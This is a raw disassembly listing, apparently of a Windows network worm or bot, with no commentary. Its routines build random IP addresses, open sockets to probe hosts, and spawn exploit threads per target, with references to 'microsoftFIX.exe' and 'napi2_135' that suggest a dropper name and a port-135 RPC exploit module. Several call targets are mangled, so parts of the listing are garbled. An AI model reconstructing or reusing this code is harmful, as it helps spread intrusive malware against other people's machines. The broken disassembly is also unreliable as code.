mov eax, [ebp+8]
pop ecx
lea esi, [ebp-1F0h]
mov edi, esp
mov [ebp-148h], eax
rep movsd
call dword ptr [ebx+4]
add esp, 0BCh
inc dword ptr [ebp-4]
xor edi, edi
loc_4096F4: ; CODE XREF: ___:0040960Aj
inc dword ptr [ebp+8]
add ebx, 40h
mov eax, ebx
cmp [ebx], edi
jnz loc_4095F7
push dword ptr [ebp-4]
lea eax, [ebp-134h]
push eax
lea eax, [ebp-3F0h]
push offset unk_43E3F0
push eax
call sub_4171D0
push edi
lea eax, [ebp-3F0h]
push dword ptr [ebp-14h]
push eax
lea eax, [ebp-124h]
push eax
push dword ptr [ebp-24h]
call sub_401445
lea eax, [ebp-3F0h]
push eax
call sub_410557
push dword ptr [ebp-18h]
call sub_40916F
add esp, 2Ch
push edi
nop
; ---------------------------------------------------------------------------
dw 0A9E8h
db 68h, 2Fh, 2
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_409757 proc near ; CODE XREF: sub_403038+38A6p
var_200 = byte ptr -200h
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
sub esp, 200h
push 0Bh
call sub_40909B
test eax, eax
pop ecx
jle short loc_409793
mov eax, [ebp+arg_C]
push dword_4D31C0[eax*8]
call dword_4453D4
push eax
lea eax, [ebp+var_200]
push offset unk_43E424
push eax
call sub_4171D0
add esp, 0Ch
jmp short loc_4097A6
; ---------------------------------------------------------------------------
loc_409793: ; CODE XREF: sub_409757+13j
lea eax, [ebp+var_200]
push offset unk_43E440
push eax
call sub_4171D0
pop ecx
pop ecx
loc_4097A6: ; CODE XREF: sub_409757+3Aj
push 0
lea eax, [ebp+var_200]
push [ebp+arg_8]
push eax
push [ebp+arg_4]
push [ebp+arg_0]
call sub_401445
lea eax, [ebp+var_200]
push eax
call sub_410557
add esp, 18h
leave
retn
sub_409757 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4097CE proc near ; CODE XREF: sub_409ECC+263p
var_214 = dword ptr -214h
var_204 = byte ptr -204h
var_4 = byte ptr -4
arg_10 = byte ptr 18h
arg_90 = byte ptr 98h
arg_110 = dword ptr 118h
arg_130 = dword ptr 138h
arg_138 = dword ptr 140h
arg_13C = dword ptr 144h
push ebp
mov ebp, esp
sub esp, 204h
mov eax, [ebp+arg_130]
push ebx
push esi
cmp eax, 0FFFFFFFFh
push edi
jz loc_409B79
shl eax, 6
xor ebx, ebx
cmp dword_43DE44[eax], ebx
jz loc_409B79
push 5
call sub_40909B
mov edi, dword_4DD2C4
pop ecx
test eax, eax
jnz loc_409A55
mov eax, dword_436C0C
mov esi, offset dword_4D51DC
push 104h
push esi
push ebx
mov dword_4D53EC, eax
mov dword_4D53E8, ebx
call edi
push 103h
push offset aMicrosoftfix_e ; "microsoftFIX.exe"
push offset dword_4D52E0
call sub_417770
mov eax, [ebp+arg_110]
add esp, 0Ch
cmp [ebp+arg_90], bl
mov dword_4D51D8, eax
mov eax, [ebp+arg_138]
push 7Fh
mov dword_4D5470, eax
jnz short loc_409882
lea eax, [ebp+arg_10]
push eax
push offset dword_4D53F0
call sub_417770
add esp, 0Ch
mov dword_4D5474, 1
jmp short loc_40989C
; ---------------------------------------------------------------------------
loc_409882: ; CODE XREF: sub_4097CE+95j
lea eax, [ebp+arg_90]
push eax
push offset dword_4D53F0
call sub_417770
add esp, 0Ch
mov dword_4D5474, ebx
loc_40989C: ; CODE XREF: sub_4097CE+B2j
push esi
lea eax, [ebp+var_204]
push dword_4D53EC
push offset unk_43E460
push eax
call sub_4171D0
push ebx
lea eax, [ebp+var_204]
push 5
push eax
call sub_408E53
add esp, 1Ch
mov dword_4D53E4, eax
lea eax, [ebp+var_4]
push eax
push ebx
push offset dword_4D51D8
push offset byte_40FFAF
push ebx
push ebx
call near ptr 26A08FFh
nop
mov ecx, dword_4D53E4
imul ecx, 234h
cmp eax, ebx
mov dword_446224[ecx], eax
jz short loc_40990A
loc_4098F8: ; CODE XREF: sub_4097CE+13Aj
cmp dword_4D5478, ebx
jnz short loc_409925
push 32h
nop
call near ptr 2690599h
jmp short loc_4098F8
; ---------------------------------------------------------------------------
loc_40990A: ; CODE XREF: sub_4097CE+128j
nop
call near ptr 26908EFh
push eax
lea eax, [ebp+var_204]
push offset unk_43E494
push eax
call sub_4171D0
add esp, 0Ch
loc_409925: ; CODE XREF: sub_4097CE+130j
lea eax, [ebp+var_204]
push eax
call sub_410557
mov eax, dword_4D3010
mov esi, offset dword_4D5484
mov [esp+214h+var_214], 104h
push esi
push ebx
mov dword_4D5694, eax
mov dword_4D5690, ebx
call edi
push 103h
push offset aMicrosoftfix_e ; "microsoftFIX.exe"
push offset dword_4D5588
call sub_417770
mov eax, [ebp+arg_110]
add esp, 0Ch
cmp [ebp+arg_90], bl
mov dword_4D5480, eax
mov eax, [ebp+arg_138]
push 7Fh
mov dword_4D5718, eax
jnz short loc_4099A5
lea eax, [ebp+arg_10]
push eax
push offset dword_4D5698
call sub_417770
add esp, 0Ch
mov dword_4D571C, 1
jmp short loc_4099BF
; ---------------------------------------------------------------------------
loc_4099A5: ; CODE XREF: sub_4097CE+1B8j
lea eax, [ebp+arg_90]
push eax
push offset dword_4D5698
call sub_417770
add esp, 0Ch
mov dword_4D571C, ebx
loc_4099BF: ; CODE XREF: sub_4097CE+1D5j
push esi
lea eax, [ebp+var_204]
push dword_4D5694
push offset unk_43E4C8
push eax
call sub_4171D0
push ebx
lea eax, [ebp+var_204]
push 4
push eax
call sub_408E53
add esp, 1Ch
mov dword_4D568C, eax
lea eax, [ebp+var_4]
push eax
push ebx
push offset dword_4D5480
push offset dword_40D1AC
push ebx
push ebx
nop
call near ptr 26A08FFh
mov ecx, dword_4D568C
imul ecx, 234h
cmp eax, ebx
mov dword_446224[ecx], eax
jz short loc_409A2D
loc_409A1B: ; CODE XREF: sub_4097CE+25Dj
cmp dword_4D5720, ebx
jnz short loc_409A48
push 32h
call near ptr 2690599h
nop
jmp short loc_409A1B
; ---------------------------------------------------------------------------
loc_409A2D: ; CODE XREF: sub_4097CE+24Bj
call near ptr 26908EFh
nop
push eax
lea eax, [ebp+var_204]
push offset unk_43E4FC
push eax
call sub_4171D0
add esp, 0Ch
loc_409A48: ; CODE XREF: sub_4097CE+253j
lea eax, [ebp+var_204]
push eax
call sub_410557
pop ecx
loc_409A55: ; CODE XREF: sub_4097CE+3Cj
mov eax, [ebp+arg_130]
shl eax, 6
cmp dword_43DE48[eax], ebx
jz loc_409B79
push 3
call sub_40909B
test eax, eax
pop ecx
jnz loc_409B79
mov esi, offset dword_4D59B4
push 104h
push esi
push ebx
call edi
push 5Ch
push esi
call sub_418310
pop ecx
cmp eax, ebx
pop ecx
jz short loc_409A98
mov [eax], bl
loc_409A98: ; CODE XREF: sub_4097CE+2C6j
mov eax, dword_436C10
mov dword_4D5ACC, ebx
mov dword_4D5AB8, eax
lea eax, [ebp+arg_10]
push eax
push offset dword_4D572C
call sub_4171D0
mov eax, [ebp+arg_110]
pop ecx
pop ecx
mov dword_4D5728, eax
mov ecx, [ebp+arg_138]
push esi
push dword_4D5AB8
mov dword_4D5AC4, ecx
mov ecx, [ebp+arg_13C]
push eax
mov dword_4D5AC8, ecx
call sub_40267D
pop ecx
push eax
lea eax, [ebp+var_204]
push offset unk_43E530
push eax
call sub_4171D0
push ebx
lea eax, [ebp+var_204]
push 3
push eax
call sub_408E53
add esp, 20h
mov dword_4D5AC0, eax
lea eax, [ebp+var_4]
push eax
push ebx
push offset dword_4D5728
push offset sub_40D8F7
push ebx
push ebx
nop
call near ptr 26A08FFh
mov ecx, dword_4D5AC0
imul ecx, 234h
cmp eax, ebx
mov dword_446224[ecx], eax
jz short loc_409B51
loc_409B3F: ; CODE XREF: sub_4097CE+381j
cmp dword_4D5AD4, ebx
jnz short loc_409B6C
push 32h
nop
call near ptr 2690599h
jmp short loc_409B3F
; ---------------------------------------------------------------------------
loc_409B51: ; CODE XREF: sub_4097CE+36Fj
nop
call near ptr 26908EFh
push eax
lea eax, [ebp+var_204]
push offset unk_43E56C
push eax
call sub_4171D0
add esp, 0Ch
loc_409B6C: ; CODE XREF: sub_4097CE+377j
lea eax, [ebp+var_204]
push eax
call sub_410557
pop ecx
loc_409B79: ; CODE XREF: sub_4097CE+15j
; sub_4097CE+26j ...
pop edi
pop esi
pop ebx
leave
retn
sub_4097CE endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_409B7E proc near ; CODE XREF: sub_409ECC:loc_409F3Dp
arg_0 = dword ptr 8
push ebp
mov ebp, esp
mov eax, [ebp+arg_0]
push esi
push 4
lea esi, ds:4D31C0h[eax*8]
lea eax, [ebp+arg_0]
push esi
push eax
call sub_4187B0
add esp, 0Ch
push [ebp+arg_0]
call dword_445270
inc eax
push eax
mov [ebp+arg_0], eax
call dword_445344
mov [ebp+arg_0], eax
lea eax, [ebp+arg_0]
push 4
push eax
push esi
call sub_4187B0
mov eax, [esi]
add esp, 0Ch
pop esi
pop ebp
retn
sub_409B7E endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_409BC6 proc near ; CODE XREF: sub_409ECC+69p
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 10h
push esi
or esi, 0FFFFFFFFh
push [ebp+arg_0]
mov [ebp+var_C], esi
mov [ebp+var_8], esi
mov [ebp+var_4], esi
mov [ebp+var_10], esi
call sub_414BE0
cmp eax, 0Fh
pop ecx
jbe short loc_409BEE
xor eax, eax
jmp short loc_409C5F
; ---------------------------------------------------------------------------
loc_409BEE: ; CODE XREF: sub_409BC6+22j
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_4]
push eax
lea eax, [ebp+var_8]
push eax
lea eax, [ebp+var_C]
push eax
push offset aD_D_D_D_0 ; "%d.%d.%d.%d"
push [ebp+arg_0]
call sub_418AF0
add esp, 18h
cmp [ebp+var_C], esi
jnz short loc_409C1B
call sub_417B10
mov [ebp+var_C], eax
loc_409C1B: ; CODE XREF: sub_409BC6+4Bj
cmp [ebp+var_8], esi
jnz short loc_409C28
call sub_417B10
mov [ebp+var_8], eax
loc_409C28: ; CODE XREF: sub_409BC6+58j
cmp [ebp+var_4], esi
jnz short loc_409C35
call sub_417B10
mov [ebp+var_4], eax
loc_409C35: ; CODE XREF: sub_409BC6+65j
mov eax, [ebp+var_10]
cmp eax, esi
jnz short loc_409C41
call sub_417B10
loc_409C41: ; CODE XREF: sub_409BC6+74j
shl eax, 8
add eax, [ebp+var_4]
mov ecx, [ebp+var_C]
shl eax, 8
add eax, [ebp+var_8]
shl eax, 8
add eax, ecx
mov ecx, [ebp+arg_4]
mov dword_4D31C0[ecx*8], eax
loc_409C5F: ; CODE XREF: sub_409BC6+26j
pop esi
leave
retn
sub_409BC6 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_409C62 proc near ; CODE XREF: ___:004095FFp
; sub_409ECC+B8p ...
var_120 = dword ptr -120h
var_11C = dword ptr -11Ch
var_1C = word ptr -1Ch
var_1A = word ptr -1Ah
var_18 = dword ptr -18h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 120h
push ebx
push esi
push edi
push 1
pop edi
xor ebx, ebx
push ebx
push edi
push 2
mov [ebp+var_4], edi
call dword_4453C8
mov esi, eax
cmp esi, 0FFFFFFFFh
jnz short loc_409C8B
xor eax, eax
jmp short loc_409CFA
; ---------------------------------------------------------------------------
loc_409C8B: ; CODE XREF: sub_409C62+23j
mov eax, [ebp+arg_0]
push [ebp+arg_4]
mov [ebp+var_1C], 2
mov [ebp+var_18], eax
call dword_445348
mov [ebp+var_1A], ax
lea eax, [ebp+var_4]
push eax
push 8004667Eh
push esi
call dword_4453E4
lea eax, [ebp+var_1C]
push 10h
push eax
push esi
call dword_4452F0
mov eax, [ebp+arg_8]
mov [ebp+var_8], ebx
mov [ebp+var_C], eax
lea eax, [ebp+var_C]
push eax
lea eax, [ebp+var_120]
push ebx
push eax
push ebx
push ebx
mov [ebp+var_11C], esi
mov [ebp+var_120], edi
call dword_445330
push esi
mov edi, eax
call dword_4453E0
xor eax, eax
cmp edi, ebx
setnle al
loc_409CFA: ; CODE XREF: sub_409C62+27j
pop edi
pop esi
pop ebx
leave
retn
sub_409C62 endp
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
mov eax, 10110h
call sub_417E20
push ebx
push esi
push edi
mov edi, 2649h
push edi
call dword_445348
push dword ptr [ebp+10h]
mov [ebp-28h], ax
call dword_445348
mov [ebp-26h], ax
call sub_417B10
xor ebx, ebx
push 200h
mov [ebp-24h], eax
mov [ebp-20h], ebx
mov [ebp-1Ch], bx
mov [ebp-0Ch], bx
mov word ptr [ebp-1Ah], 5
mov [ebp-18h], bx
mov word ptr [ebp-16h], 1
mov [ebp-14h], bx
mov [ebp-12h], bx
mov [ebp-10h], bx
mov [ebp-0Eh], bx
call dword_445348
mov esi, [ebp+0Ch]
mov [ebp-0Ah], ax
mov eax, [ebp+8]
push 24h
mov [ebp-8], bx
mov [ebp-6], bx
mov [ebp-58h], eax
mov [ebp-54h], esi
mov [ebp-50h], bl
mov byte ptr [ebp-4Fh], 6
call dword_445348
mov [ebp-4Eh], ax
lea eax, [ebp-28h]
push 24h
push eax
lea eax, [ebp-4Ch]
push eax
call sub_4187B0
lea eax, [ebp-58h]
push 20h
push eax
call sub_4026D6
mov [ebp-8], ax
push 10h
lea eax, [ebp-38h]
push ebx
push eax
call sub_417070
add esp, 20h
mov word ptr [ebp-38h], 2
push dword ptr [ebp+10h]
call dword_445348
push 6
push 3
push 2
mov [ebp-36h], ax
mov [ebp-34h], esi
mov dword ptr [ebp-4], 10h
call dword_4453C8
mov esi, eax
cmp esi, 0FFFFFFFFh
jnz short loc_409DFE
push offset aSocketOpenFail ; "socket open failed"
jmp loc_409EBF
; ---------------------------------------------------------------------------
loc_409DFE: ; CODE XREF: ___:00409DF2j
push dword ptr [ebp-4]
lea eax, [ebp-38h]
push eax
push ebx
lea eax, [ebp-28h]
push 24h
push eax
push esi
call dword_4453AC
cmp eax, 14h
mov [ebp+10h], eax
jz short loc_409E47
call dword_4452DC
push eax
lea eax, [ebp-0D8h]
push dword ptr [ebp+10h]
push offset aSendtoSocketFa ; "sendto() socket failed. sent = %d <%d>."...
push eax
call sub_4171D0
lea eax, [ebp-0D8h]
push eax
call sub_410557
add esp, 14h
jmp short loc_409E90
; ---------------------------------------------------------------------------
loc_409E47: ; CODE XREF: ___:00409E19j
push 10038h
lea eax, [ebp-10110h]
push ebx
push eax
call sub_417070
add esp, 0Ch
loc_409E5C: ; CODE XREF: ___:00409E83j
cmp [ebp-100FAh], di
jz short loc_409E99
lea eax, [ebp-4]
push eax
lea eax, [ebp-38h]
push eax
push ebx
lea eax, [ebp-10110h]
push 10038h
push eax
push esi
call dword_445320
test eax, eax
jge short loc_409E5C
push offset aRecvfromSocket ; "recvfrom() socket failed"
call sub_410557
pop ecx
loc_409E90: ; CODE XREF: ___:00409E45j
push esi
call dword_4453E0
jmp short loc_409EC5
; ---------------------------------------------------------------------------
loc_409E99: ; CODE XREF: ___:00409E63j
push esi
call dword_4453E0
cmp word ptr [ebp-100EAh], 1
jnz short loc_409EBA
push offset aSocketOpen_ ; "Socket open."
call sub_410557
pop ecx
push 1
pop eax
jmp short loc_409EC7
; ---------------------------------------------------------------------------
loc_409EBA: ; CODE XREF: ___:00409EA8j
push offset aSocketClosed_ ; "Socket closed."
loc_409EBF: ; CODE XREF: ___:00409DF9j
call sub_410557
pop ecx
loc_409EC5: ; CODE XREF: ___:00409E97j
xor eax, eax
loc_409EC7: ; CODE XREF: ___:00409EB8j
pop edi
pop esi
pop ebx
leave
retn
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_409ECC proc near ; DATA XREF: sub_409ECC+34Fo
var_29C = dword ptr -29Ch
var_28C = byte ptr -28Ch
var_20C = dword ptr -20Ch
var_208 = byte ptr -208h
var_1F8 = byte ptr -1F8h
var_1CC = byte ptr -1CCh
var_178 = byte ptr -178h
var_16C = dword ptr -16Ch
var_168 = dword ptr -168h
var_164 = dword ptr -164h
var_15C = dword ptr -15Ch
var_158 = dword ptr -158h
var_150 = byte ptr -150h
var_14C = byte ptr -14Ch
var_140 = byte ptr -140h
var_13C = byte ptr -13Ch
var_C0 = byte ptr -0C0h
var_40 = dword ptr -40h
var_3C = dword ptr -3Ch
var_38 = dword ptr -38h
var_30 = dword ptr -30h
var_2C = dword ptr -2Ch
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 28Ch
mov eax, [ebp+arg_0]
push ebx
push esi
push edi
push 53h
mov esi, eax
pop ecx
lea edi, [ebp+var_150]
rep movsd
mov esi, [ebp+var_2C]
mov dword ptr [eax+148h], 1
mov eax, [ebp+var_28]
mov [ebp+var_4], esi
mov [ebp+arg_0], eax
nop
call near ptr 26C05FFh
push eax
call sub_417B00
mov ebx, esi
pop ecx
imul ebx, 234h
loc_409F13: ; CODE XREF: sub_409ECC+200j
mov eax, dword_446214[ebx]
cmp dword_4D31C4[eax*8], 0
jz loc_40A0D1
cmp [ebp+var_10], 0
push eax
jz short loc_409F3D
lea eax, [ebp+var_150]
push eax
call sub_409BC6
pop ecx
jmp short loc_409F42
; ---------------------------------------------------------------------------
loc_409F3D: ; CODE XREF: sub_409ECC+60j
call sub_409B7E
loc_409F42: ; CODE XREF: sub_409ECC+6Fj
pop ecx
mov edi, eax
push [ebp+arg_0]
push dword_446214[ebx]
push [ebp+var_3C]
push edi
call dword_4453D4
push eax
lea eax, [ebp+var_28C]
push offset unk_43E624
push eax
call sub_4171D0
lea eax, [ebp+var_28C]
push eax
lea eax, dword_446010[ebx]
push eax
call sub_4171D0
push [ebp+var_38]
push [ebp+var_3C]
push edi
call sub_409C62
add esp, 2Ch
cmp eax, 1
jnz loc_40A0C1
cmp [ebp+var_20], 0FFFFFFFFh
jnz short loc_40A016
push offset dword_4D51C0
nop
call near ptr 77F7E21Fh
push [ebp+var_3C]
push edi
call dword_4453D4
push eax
lea eax, [ebp+var_28C]
push offset unk_43E65C
push eax
call sub_4171D0
add esp, 10h
cmp [ebp+var_14], 0
jnz short loc_409FF8
cmp [ebp+var_C0], 0
push 1
push [ebp+var_18]
lea eax, [ebp+var_28C]
push eax
lea eax, [ebp+var_C0]
jnz short loc_409FEC
lea eax, [ebp+var_140]
loc_409FEC: ; CODE XREF: sub_409ECC+118j
push eax
push [ebp+var_40]
call sub_401445
add esp, 14h
loc_409FF8: ; CODE XREF: sub_409ECC+FDj
lea eax, [ebp+var_28C]
push eax
call sub_410557
mov [esp+29Ch+var_29C], offset dword_4D51C0
nop
call near ptr 77F7E300h
jmp loc_40A0C1
; ---------------------------------------------------------------------------
loc_40A016: ; CODE XREF: sub_409ECC+CDj
push edi
call dword_4453D4
push eax
lea eax, [ebp+var_208]
push eax
call sub_4171D0
mov eax, [ebp+var_20]
shl eax, 6
add eax, offset aNapi2_135_0 ; "napi2_135"
push eax
lea eax, [ebp+var_178]
push eax
call sub_4171D0
add esp, 10h
cmp [ebp+var_C0], 0
lea eax, [ebp+var_C0]
jnz short loc_40A05A
lea eax, [ebp+var_140]
loc_40A05A: ; CODE XREF: sub_409ECC+186j
push eax
lea eax, [ebp+var_1F8]
push eax
call sub_4171D0
mov eax, [ebp+var_40]
pop ecx
mov [ebp+var_20C], eax
mov eax, [ebp+var_18]
pop ecx
mov [ebp+var_15C], eax
mov eax, [ebp+var_14]
sub esp, 0BCh
mov [ebp+var_158], eax
mov eax, [ebp+var_3C]
push 2Fh
mov [ebp+var_16C], eax
mov eax, [ebp+var_20]
pop ecx
mov [ebp+var_168], esi
mov [ebp+var_164], eax
lea esi, [ebp+var_20C]
mov edi, esp
shl eax, 6
rep movsd
call off_43DE3C[eax]
mov esi, [ebp+var_4]
add esp, 0BCh
loc_40A0C1: ; CODE XREF: sub_409ECC+C3j
; sub_409ECC+145j
push 7D0h
nop
call near ptr 2690599h
jmp loc_409F13
; ---------------------------------------------------------------------------
loc_40A0D1: ; CODE XREF: sub_409ECC+55j
push esi
call sub_40916F
pop ecx
push 0
call near ptr 2700000h
nop
loc_40A0E0: ; DATA XREF: sub_403038+33F8o
; sub_403038+47E9o
push ebp
mov ebp, esp
sub esp, 1CCh
mov eax, [ebp+arg_0]
push ebx
push esi
push edi
push 53h
mov esi, eax
pop ecx
lea edi, [ebp+var_14C]
push 1
pop ebx
rep movsd
mov [eax+144h], ebx
lea eax, [ebp+var_14C]
push eax
call dword_445388
mov ecx, [ebp+var_2C]
sub esp, 14Ch
lea esi, [ebp+var_14C]
push 53h
mov dword_4D31C0[ecx*8], eax
pop ecx
mov edi, esp
rep movsd
call sub_4097CE
push 0Bh
call sub_40909B
add esp, 150h
cmp eax, ebx
jnz short loc_40A1AE
mov esi, offset dword_4D51C0
push esi
nop
call near ptr 2700770h
push 80000400h
push esi
call near ptr 2700538h
nop
test eax, eax
jnz short loc_40A1AE
lea eax, [ebp+var_1CC]
push offset unk_43E684
push eax
call sub_4171D0
xor ebx, ebx
pop ecx
cmp [ebp+var_10], ebx
pop ecx
jnz short loc_40A198
push ebx
lea eax, [ebp+var_1CC]
push [ebp+var_14]
push eax
lea eax, [ebp+var_13C]
push eax
push [ebp+var_3C]
call sub_401445
add esp, 14h
loc_40A198: ; CODE XREF: sub_409ECC+2ADj
lea eax, [ebp+var_1CC]
push eax
call sub_410557
pop ecx
pop edi
pop esi
xor eax, eax
pop ebx
leave
retn 4
; ---------------------------------------------------------------------------
loc_40A1AE: ; CODE XREF: sub_409ECC+277j
; sub_409ECC+293j
mov eax, [ebp+var_2C]
mov esi, dword_4DD2CC
mov edi, ebx
mov dword_4D31C4[eax*8], ebx
xor ebx, ebx
cmp [ebp+var_20], 1
jb loc_40A27B
loc_40A1CC: ; CODE XREF: sub_409ECC+3A9j
push edi
lea eax, [ebp+var_14C]
push [ebp+var_2C]
mov [ebp+var_24], edi
push [ebp+var_38]
push eax
lea eax, [ebp+var_1CC]
push offset unk_43E6B8
push eax
call sub_4171D0
push ebx
lea eax, [ebp+var_1CC]
push 0Bh
push eax
call sub_408E53
mov [ebp+var_28], eax
imul eax, 234h
mov ecx, [ebp+var_2C]
add esp, 24h
mov dword_446214[eax], ecx
lea eax, [ebp+var_14C]
push ebx
push ebx
push eax
push offset sub_409ECC
push ebx
push ebx
nop
call near ptr 26A08FFh
mov ecx, [ebp+var_28]
imul ecx, 234h
cmp eax, ebx
mov dword_446224[ecx], eax
jz short loc_40A246
loc_40A23B: ; CODE XREF: sub_409ECC+378j
cmp [ebp+var_4], ebx
jnz short loc_40A26D
push 1Eh
call esi
jmp short loc_40A23B
; ---------------------------------------------------------------------------
loc_40A246: ; CODE XREF: sub_409ECC+36Dj
nop
call near ptr 26908EFh
push eax
lea eax, [ebp+var_1CC]
push offset unk_43E6EC
push eax
call sub_4171D0
lea eax, [ebp+var_1CC]
push eax
call sub_410557
add esp, 10h
loc_40A26D: ; CODE XREF: sub_409ECC+372j
push 1Eh
call esi
inc edi
cmp edi, [ebp+var_20]
jbe loc_40A1CC
loc_40A27B: ; CODE XREF: sub_409ECC+2FAj
cmp [ebp+var_30], ebx
jz loc_40A325
mov eax, [ebp+var_30]
imul eax, 0EA60h
push eax
call esi
loc_40A290: ; CODE XREF: sub_409ECC+464j
push [ebp+var_30]
mov eax, [ebp+var_2C]
push [ebp+var_38]
mov eax, dword_4D31C0[eax*8]
push eax
call dword_4453D4
push eax
lea eax, [ebp+var_1CC]
push offset unk_43E724
push eax
call sub_4171D0
add esp, 14h
cmp [ebp+var_10], ebx
jnz short loc_40A2DE
push ebx
lea eax, [ebp+var_1CC]
push [ebp+var_14]
push eax
lea eax, [ebp+var_13C]
push eax
push [ebp+var_3C]
call sub_401445
add esp, 14h
loc_40A2DE: ; CODE XREF: sub_409ECC+3F3j
lea eax, [ebp+var_1CC]
push eax
call sub_410557
mov eax, [ebp+var_2C]
mov [esp+29Ch+var_29C], 0BB8h
mov dword_4D31C4[eax*8], ebx
call esi
push 0Bh
call sub_40909B
cmp eax, 1
pop ecx
jnz short loc_40A315
push offset dword_4D51C0
call near ptr 2700770h
nop
loc_40A315: ; CODE XREF: sub_409ECC+43Cj
push [ebp+var_2C]
call sub_40916F
pop ecx
push ebx
nop
call near ptr 2700000h
loc_40A325: ; CODE XREF: sub_409ECC+3B2j
; sub_409ECC+471j
mov eax, [ebp+var_2C]
cmp dword_4D31C4[eax*8], 1
jnz loc_40A290
push 7D0h
call esi
jmp short loc_40A325
sub_409ECC endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40A33F proc near
var_BC = dword ptr -0BCh
var_B8 = byte ptr -0B8h
var_38 = dword ptr -38h
var_2C = dword ptr -2Ch
var_28 = dword ptr -28h
var_20 = dword ptr -20h
var_10 = word ptr -10h
var_E = word ptr -0Eh
var_C = dword ptr -0Ch
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 0BCh
mov eax, [ebp+arg_0]
push esi
push edi
push 2Bh
pop ecx
mov esi, eax
lea edi, [ebp+var_BC]
push 1
rep movsd
pop esi
mov [eax+0A8h], esi
push 10h
lea eax, [ebp+var_10]
push 0
push eax
call sub_417070
add esp, 0Ch
mov [ebp+var_10], 2
push [ebp+var_38]
call dword_445348
mov [ebp+var_E], ax
mov eax, [ebp+var_28]
push 6
push esi
push 2
mov [ebp+var_C], eax
call dword_4453C8
mov esi, eax
cmp esi, 0FFFFFFFFh
jz short loc_40A3FD
lea eax, [ebp+var_10]
push 10h
push eax
push esi
call dword_4452F0
mov ecx, [ebp+var_2C]
imul ecx, 234h
cmp eax, 0FFFFFFFFh
mov dword_44621C[ecx], esi
jz short loc_40A3FD
push [ebp+var_38]
push [ebp+var_28]
call dword_4453D4
push eax
mov edi, offset dword_4D5AE4
push offset dword_43E764
push edi
call sub_4171D0
push 0
lea eax, [ebp+var_B8]
push [ebp+var_20]
push edi
push eax
push [ebp+var_BC]
call sub_401445
push edi
call sub_410557
add esp, 28h
loc_40A3FD: ; CODE XREF: sub_40A33F+5Dj
; sub_40A33F+7Ej
push esi
call dword_4453E0
pop edi
xor eax, eax
pop esi
leave
retn 4
sub_40A33F endp
; ---------------------------------------------------------------------------
dword_40A40C dd 81EC8B55h, 134ECh, 5D8B5300h, 6A575608h, 59F38B2Bh
; DATA XREF: sub_403038+4C06o
dd 0FF4CBD8Dh, 0A5F3FFFFh, 0D2CC358Bh, 83C7004Dh, 0A4h
dd 1, 75FFFF33h, 0E075FFD0h, 53D415FFh, 8D500044h, 0FFFECC85h
dd 0E78C68FFh, 0E8500043h, 0CD78h, 0FECC858Dh, 0FF68FFFFh
dd 50000001h, 69DC458Bh, 234C0h, 60100500h, 0E8500044h
dd 0D2F8h, 8D1CC483h, 8D50F845h, 0FFFF4C85h, 685057FFh
dd 40A33Fh, 6CE85757h, 90022964h, 4589C73Bh, 390B74FCh
dd 675F47Dh, 0D6FF326Ah, 75FFF5EBh, 5BEDE8FCh, 0FF900226h
dd 8CB3h, 0A8BB8900h, 0FF000000h, 0E0458DD6h, 8D50046Ah
dd 0E8500845h, 0E2E4h, 0FF0CC483h, 15FF0875h, 445270h
dd 45895040h, 4415FF08h, 89004453h, 458D0845h, 50046A08h
dd 50E0458Dh, 0E2BBE8h, 0CC48300h, 0FFFF3DE9h
db 0FFh
byte_40A4FD db 55h, 8Bh, 0ECh ; DATA XREF: sub_403038+48F9o
dd 130EC81h, 8B530000h, 5756085Dh, 0F38B2B6Ah, 50BD8D59h
dd 0F3FFFFFFh, 0CC358BA5h, 0C7004DD2h, 0A483h, 100h, 0FFFF3300h
dd 75FFD475h, 0D415FFE4h, 50004453h, 0FED0858Dh, 0B468FFFFh
dd 500043E7h, 0CC87E8h, 0D0858D00h, 68FFFFFEh, 1FFh, 0E0458B50h
dd 234C069h, 10050000h, 50004460h, 0D207E8h, 1CC48300h
dd 50FC458Dh, 0FF50858Dh, 5057FFFFh, 40A33F68h, 0E8575700h
dd 229637Bh, 89C73B90h, 0B740845h, 75F87D39h, 0FF326A06h
dd 0FFF5EBD6h, 0E8900875h, 2265AFBh, 8CB3FFh, 0BB890000h
dd 0A8h, 458BD6FFh, 0D8453BD4h, 45FF0874h, 0FF6DE9D4h
dd 75FFFFFFh, 0D415FFE4h, 50004453h, 0FED0858Dh, 0E068FFFFh
dd 500043E7h, 0CBF7E8h, 858D5700h, 0FFFFFED0h, 50EC75FFh
dd 0FF54858Dh, 0FF50FFFFh, 0FFFF50B5h, 6E4FE8FFh, 75FFFFFFh
dd 0EB71E8E0h, 0C483FFFFh, 5FC03324h, 0C2C95B5Eh
db 4, 0
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
sub esp, 12Ch
push ebx
push esi
push edi
mov dword ptr [ebp-14h], 10h
call sub_417B10
cdq
mov ecx, 3E8h
idiv ecx
lea eax, [ebp+0Ch]
push eax
mov edi, edx
add edi, 7D0h
mov [ebp-20h], edi
call dword_4453CC
mov esi, eax
test esi, esi
jnz short loc_40A65D
lea eax, [ebp+0Ch]
push eax
nop
call near ptr 71AB12F8h
